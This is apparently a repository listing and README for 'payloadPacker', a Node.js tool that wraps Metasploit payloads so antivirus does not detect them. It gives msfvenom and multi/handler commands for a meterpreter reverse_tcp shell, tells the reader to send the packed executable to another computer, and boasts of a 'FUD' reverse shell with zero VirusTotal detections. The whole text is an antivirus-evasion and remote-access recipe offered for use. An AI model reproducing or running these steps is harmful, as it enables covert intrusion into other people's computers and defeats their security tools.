项目作者: Yatoub42

项目描述 :
metasploit payload packer in nodeJS
高级语言: JavaScript
项目地址: git://github.com/Yatoub42/payloadPacker.git
创建时间: 2020-01-11T13:24:36Z
项目社区:https://github.com/Yatoub42/payloadPacker

开源协议:MIT License

下载


payloadPacker

metasploit payload packer in nodeJS

Description

This tool encapsulate existing metasploit payload in NodeJS instance, the payload is executed by NodeJS so it’s not detect by any antivirus.

Installation

We need pkg to package the project

  1. npm install -g pkg

We also need metasploit framework to generate payload

With metasploit, generate your payload and put them in bin directory with payload name.
Here is a sample for Linux x86 reverse shell

  1. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f elf > bin/payload

Utilisation

Package the whole project with pkg

  1. pkg .

Then you have executable files for Windows, Linux and MacOS environnement.

With metasploit set up your listener, with the example

  1. use exploit/multi/handler
  2. set PAYLOAD linux/x86/meterpreter/reverse_tcp
  3. set LHOST IP
  4. set LPORT PORT
  5. exploit

Send this file on another computer and launch it. Now you have a FUD reverse shell.

Tested with Virustotal and 0 detection with the example.